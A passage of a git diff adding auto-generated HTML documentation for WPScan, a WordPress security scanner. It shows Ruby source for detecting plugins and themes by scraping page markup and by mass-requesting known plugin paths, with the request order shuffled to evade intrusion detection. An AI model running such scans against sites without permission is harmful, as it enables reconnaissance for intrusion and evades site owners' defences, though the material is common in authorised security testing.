+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-aggressive_detection">::aggressive_detection</a></li>
+          
+          <li><a href="#method-c-passive_detection">::passive_detection</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">WpDetector</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="aggressive_detection-method" class="method-detail ">
+          <a name="method-c-aggressive_detection"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">aggressive_detection</span><span
+              class="method-args">(options, items = [])</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="aggressive_detection-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_detector.rb, line 21</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">aggressive_detection</span>(<span class="ruby-identifier">options</span>, <span class="ruby-identifier">items</span> = [])
+  <span class="ruby-constant">WpOptions</span>.<span class="ruby-identifier">check_options</span>(<span class="ruby-identifier">options</span>)
+
+  <span class="ruby-identifier">result</span> = <span class="ruby-identifier">items</span>
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">items</span> <span class="ruby-operator">==</span> <span class="ruby-keyword">nil</span> <span class="ruby-keyword">or</span> <span class="ruby-identifier">items</span>.<span class="ruby-identifier">length</span> <span class="ruby-operator">==</span> <span class="ruby-value">0</span>
+    <span class="ruby-identifier">result</span> = <span class="ruby-identifier">passive_detection</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value">:base_url</span>], <span class="ruby-identifier">options</span>[<span class="ruby-value">:type</span>], <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_content_dir</span>])
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-identifier">enum_results</span> = <span class="ruby-constant">WpEnumerator</span>.<span class="ruby-identifier">enumerate</span>(<span class="ruby-identifier">options</span>)
+  <span class="ruby-identifier">enum_results</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">enum_result</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">already_present</span> = <span class="ruby-keyword">false</span>
+    <span class="ruby-identifier">result</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">r</span><span class="ruby-operator">|</span>
+      <span class="ruby-comment"># Already found via passive detection</span>
+      <span class="ruby-keyword">if</span> <span class="ruby-identifier">r</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">enum_result</span>.<span class="ruby-identifier">name</span>
+        <span class="ruby-identifier">already_present</span> = <span class="ruby-keyword">true</span>
+        <span class="ruby-keyword">break</span>
+      <span class="ruby-keyword">end</span>
+    <span class="ruby-keyword">end</span>
+    <span class="ruby-keyword">unless</span> <span class="ruby-identifier">already_present</span>
+      <span class="ruby-identifier">result</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">enum_result</span>
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">result</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- aggressive_detection-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- aggressive_detection-method -->
+
+      
+        <div id="passive_detection-method" class="method-detail ">
+          <a name="method-c-passive_detection"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">passive_detection</span><span
+              class="method-args">(url, type, wp_content_dir)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>plugins and themes can be found in the source code :</p>
+
+<pre>&lt;script src='http://example.com/wp-content/plugins/s2member/...' /&gt;
+&lt;link rel='stylesheet' href='http://example.com/wp-content/plugins/wp-minify/..' type='text/css' media='screen'/&gt;
+...</pre>
+            
+
+            
+            <div class="method-source-code" id="passive_detection-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_detector.rb, line 50</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">passive_detection</span>(<span class="ruby-identifier">url</span>, <span class="ruby-identifier">type</span>, <span class="ruby-identifier">wp_content_dir</span>)
+  <span class="ruby-identifier">items</span>         = []
+  <span class="ruby-identifier">response</span>      = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">url</span>)
+  <span class="ruby-identifier">regex1</span>        = <span class="ruby-regexp">%{(?:[^=:]+)\s?(?:=|:)\s?(?:&quot;|')[^&quot;']+\\?/}</span>
+  <span class="ruby-identifier">regex2</span>        = <span class="ruby-regexp">%{\\?/}</span>
+  <span class="ruby-identifier">regex3</span>        = <span class="ruby-regexp">%{\\?/([^/\\&quot;']+)\\?(?:/|&quot;|')}</span>
+  <span class="ruby-comment"># Custom wp-content dir is now used in this regex</span>
+  <span class="ruby-identifier">names</span> = <span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span>.<span class="ruby-identifier">scan</span>(<span class="ruby-node">/#{regex1}#{Regexp.escape(wp_content_dir)}#{regex2}#{Regexp.escape(type)}#{regex3}/</span>)
+
+  <span class="ruby-identifier">names</span>.<span class="ruby-identifier">flatten!</span>
+  <span class="ruby-identifier">names</span>.<span class="ruby-identifier">uniq!</span>
+
+  <span class="ruby-identifier">names</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">item</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">items</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">WpItem</span>.<span class="ruby-identifier">new</span>(
+        <span class="ruby-value">:base_url</span>       =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">url</span>,
+        <span class="ruby-value">:name</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">item</span>,
+        <span class="ruby-value">:type</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">type</span>,
+        <span class="ruby-value">:path</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-node">&quot;#{item}/&quot;</span>,
+        <span class="ruby-value">:wp_content_dir</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">wp_content_dir</span>,
+        <span class="ruby-value">:vulns_file</span>     =<span class="ruby-operator">&gt;</span> <span class="ruby-string">&quot;&quot;</span>
+    )
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">items</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- passive_detection-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- passive_detection-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpEnumerator.html b/doc/WpEnumerator.html
new file mode 100644
index 00000000..e4aab697
--- /dev/null
+++ b/doc/WpEnumerator.html
@@ -0,0 +1,418 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: WpEnumerator</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/wp_enumerator_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/wp_enumerator.rb">lib/wpscan/wp_enumerator.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-enumerate">::enumerate</a></li>
+          
+          <li><a href="#method-c-generate_items">::generate_items</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">WpEnumerator</h1>
+
+    <div id="description" class="description">
+      
+<p>Enumerate over a given set of items and check if they exist</p>
+
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="enumerate-method" class="method-detail ">
+          <a name="method-c-enumerate"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">enumerate</span><span
+              class="method-args">(options = {}, items = nil)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Enumerate the given Targets</p>
+
+<h4>Attributes</h4>
+<ul><li>
+<p><tt>targets</tt> - targets to enumerate</p>
+</li><li><ul><li>
+<p><tt>:base_url</tt> - Base URL</p>
+</li></ul>
+</li><li><ul><li>
+<p><tt>:wp_content</tt> - wp-content directory</p>
+</li></ul>
+</li><li><ul><li>
+<p><tt>:path</tt> - Path to plugin</p>
+</li></ul>
+</li><li>
+<p><tt>type</tt> - "plugins" or "themes", item to enumerate</p>
+</li><li>
+<p><tt>filename</tt> - filename in the data directory with paths</p>
+</li><li>
+<p><tt>show_progress_bar</tt> - Show a progress bar during enumeration</p>
+</li></ul>
+            
+
+            
+            <div class="method-source-code" id="enumerate-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_enumerator.rb, line 33</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">enumerate</span>(<span class="ruby-identifier">options</span> = {}, <span class="ruby-identifier">items</span> = <span class="ruby-keyword">nil</span>)
+
+  <span class="ruby-constant">WpOptions</span>.<span class="ruby-identifier">check_options</span>(<span class="ruby-identifier">options</span>)
+
+  <span class="ruby-identifier">targets</span> = <span class="ruby-keyword">self</span>.<span class="ruby-identifier">generate_items</span>(<span class="ruby-identifier">options</span>)
+
+  <span class="ruby-keyword">unless</span> <span class="ruby-identifier">items</span> <span class="ruby-operator">==</span> <span class="ruby-keyword">nil</span>
+    <span class="ruby-identifier">items</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">i</span><span class="ruby-operator">|</span>
+      <span class="ruby-identifier">targets</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">i</span>
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-identifier">found</span> = []
+  <span class="ruby-identifier">queue_count</span> = <span class="ruby-value">0</span>
+  <span class="ruby-identifier">request_count</span> = <span class="ruby-value">0</span>
+  <span class="ruby-identifier">enum_browser</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>
+  <span class="ruby-identifier">enum_hydra</span> = <span class="ruby-identifier">enum_browser</span>.<span class="ruby-identifier">hydra</span>
+  <span class="ruby-identifier">enumerate_size</span> = <span class="ruby-identifier">targets</span>.<span class="ruby-identifier">size</span>
+
+  <span class="ruby-identifier">targets</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">target</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">url</span> = <span class="ruby-identifier">target</span>.<span class="ruby-identifier">get_full_url</span>
+
+    <span class="ruby-identifier">request</span> = <span class="ruby-identifier">enum_browser</span>.<span class="ruby-identifier">forge_request</span>(<span class="ruby-identifier">url</span>, { <span class="ruby-value">:cache_timeout</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>, <span class="ruby-value">:follow_location</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword">true</span> })
+    <span class="ruby-identifier">request_count</span> <span class="ruby-operator">+=</span> <span class="ruby-value">1</span>
+
+    <span class="ruby-identifier">request</span>.<span class="ruby-identifier">on_complete</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">response</span><span class="ruby-operator">|</span>
+      <span class="ruby-keyword">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:show_progress_bar</span>]
+        <span class="ruby-identifier">print</span> <span class="ruby-node">&quot;\rChecking for #{enumerate_size} total #{options[:type]}... #{(request_count * 100) / enumerate_size}% complete.&quot;</span>
+      <span class="ruby-keyword">end</span>
+      <span class="ruby-keyword">if</span> <span class="ruby-constant">WpTarget</span>.<span class="ruby-identifier">valid_response_codes</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">response</span>.<span class="ruby-identifier">code</span>)
+        <span class="ruby-keyword">if</span> <span class="ruby-constant">Digest</span><span class="ruby-operator">::</span><span class="ruby-constant">MD5</span>.<span class="ruby-identifier">hexdigest</span>(<span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span>) <span class="ruby-operator">!=</span> <span class="ruby-identifier">options</span>[<span class="ruby-value">:error_404_hash</span>]
+          <span class="ruby-identifier">found</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">target</span>
+        <span class="ruby-keyword">end</span>
+      <span class="ruby-keyword">end</span>
+    <span class="ruby-keyword">end</span>
+
+    <span class="ruby-identifier">enum_hydra</span>.<span class="ruby-identifier">queue</span>(<span class="ruby-identifier">request</span>)
+    <span class="ruby-identifier">queue_count</span> <span class="ruby-operator">+=</span> <span class="ruby-value">1</span>
+
+    <span class="ruby-keyword">if</span> <span class="ruby-identifier">queue_count</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">enum_browser</span>.<span class="ruby-identifier">max_threads</span>
+      <span class="ruby-identifier">enum_hydra</span>.<span class="ruby-identifier">run</span>
+      <span class="ruby-identifier">queue_count</span> = <span class="ruby-value">0</span>
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-identifier">enum_hydra</span>.<span class="ruby-identifier">run</span>
+  <span class="ruby-identifier">found</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- enumerate-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- enumerate-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="protected-class-method-details" class="method-section section">
+        <h3 class="section-header">Protected Class Methods</h3>
+
+      
+        <div id="generate_items-method" class="method-detail ">
+          <a name="method-c-generate_items"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">generate_items</span><span
+              class="method-args">(options = {})</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="generate_items-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_enumerator.rb, line 84</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">generate_items</span>(<span class="ruby-identifier">options</span> = {})
+  <span class="ruby-identifier">only_vulnerable</span>   = <span class="ruby-identifier">options</span>[<span class="ruby-value">:only_vulnerable_ones</span>]
+  <span class="ruby-identifier">file</span>              = <span class="ruby-identifier">options</span>[<span class="ruby-value">:file</span>]
+  <span class="ruby-identifier">vulns_file</span>        = <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>]
+  <span class="ruby-identifier">wp_content_dir</span>    = <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_content_dir</span>]
+  <span class="ruby-identifier">url</span>               = <span class="ruby-identifier">options</span>[<span class="ruby-value">:base_url</span>]
+  <span class="ruby-identifier">type</span>              = <span class="ruby-identifier">options</span>[<span class="ruby-value">:type</span>]
+  <span class="ruby-identifier">plugins_dir</span>       = <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_plugins_dir</span>]
+  <span class="ruby-identifier">targets_url</span>       = []
+
+  <span class="ruby-keyword">unless</span> <span class="ruby-identifier">only_vulnerable</span>
+    <span class="ruby-comment"># Open and parse the 'most popular' plugin list...</span>
+    <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-identifier">file</span>, <span class="ruby-string">&quot;r&quot;</span>) <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span>
+      <span class="ruby-identifier">f</span>.<span class="ruby-identifier">readlines</span>.<span class="ruby-identifier">collect</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">line</span><span class="ruby-operator">|</span>
+        <span class="ruby-identifier">targets_url</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">WpItem</span>.<span class="ruby-identifier">new</span>(
+            <span class="ruby-value">:base_url</span>       =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">url</span>,
+            <span class="ruby-value">:path</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">line</span>.<span class="ruby-identifier">strip</span>,
+            <span class="ruby-value">:wp_content_dir</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">wp_content_dir</span>,
+            <span class="ruby-value">:name</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">dirname</span>(<span class="ruby-identifier">line</span>.<span class="ruby-identifier">strip</span>),
+            <span class="ruby-value">:vulns_file</span>     =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">vulns_file</span>,
+            <span class="ruby-value">:type</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">type</span>,
+            <span class="ruby-value">:wp_plugins_dir</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">plugins_dir</span>
+        )
+      <span class="ruby-keyword">end</span>
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-comment"># Timthumbs have no XML file</span>
+  <span class="ruby-keyword">unless</span> <span class="ruby-identifier">type</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp">/timthumbs/</span>
+    <span class="ruby-identifier">xml</span> = <span class="ruby-constant">Nokogiri</span><span class="ruby-operator">::</span><span class="ruby-constant">XML</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-identifier">vulns_file</span>)) <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">config</span><span class="ruby-operator">|</span>
+      <span class="ruby-identifier">config</span>.<span class="ruby-identifier">noblanks</span>
+    <span class="ruby-keyword">end</span>
+
+    <span class="ruby-comment"># We check if the plugin name from the plugin_vulns_file is already in targets, otherwise we add it</span>
+    <span class="ruby-identifier">xml</span>.<span class="ruby-identifier">xpath</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_xpath_2</span>]).<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">node</span><span class="ruby-operator">|</span>
+      <span class="ruby-identifier">name</span> = <span class="ruby-identifier">node</span>.<span class="ruby-identifier">attribute</span>(<span class="ruby-string">&quot;name&quot;</span>).<span class="ruby-identifier">text</span>
+      <span class="ruby-identifier">targets_url</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">WpItem</span>.<span class="ruby-identifier">new</span>(
+          <span class="ruby-value">:base_url</span>       =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">url</span>,
+          <span class="ruby-value">:path</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">name</span>,
+          <span class="ruby-value">:wp_content_dir</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">wp_content_dir</span>,
+          <span class="ruby-value">:name</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">name</span>,
+          <span class="ruby-value">:vulns_file</span>     =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">vulns_file</span>,
+          <span class="ruby-value">:type</span>           =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">type</span>,
+          <span class="ruby-value">:wp_plugins_dir</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">plugins_dir</span>
+      )
+      <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-identifier">targets_url</span>.<span class="ruby-identifier">flatten!</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">t</span><span class="ruby-operator">|</span> <span class="ruby-identifier">t</span>.<span class="ruby-identifier">name</span> }
+  <span class="ruby-identifier">targets_url</span>.<span class="ruby-identifier">uniq!</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">t</span><span class="ruby-operator">|</span> <span class="ruby-identifier">t</span>.<span class="ruby-identifier">name</span> }
+  <span class="ruby-comment"># randomize the plugins array to *maybe* help in some crappy IDS/IPS/WAF detection</span>
+  <span class="ruby-identifier">targets_url</span>.<span class="ruby-identifier">sort_by!</span> { <span class="ruby-identifier">rand</span> }
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- generate_items-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- generate_items-method -->
+
+      
+      </div><!-- protected-class-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpFullPathDisclosure.html b/doc/WpFullPathDisclosure.html
new file mode 100644
index 00000000..cf0b7495
--- /dev/null
+++ b/doc/WpFullPathDisclosure.html
@@ -0,0 +1,288 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
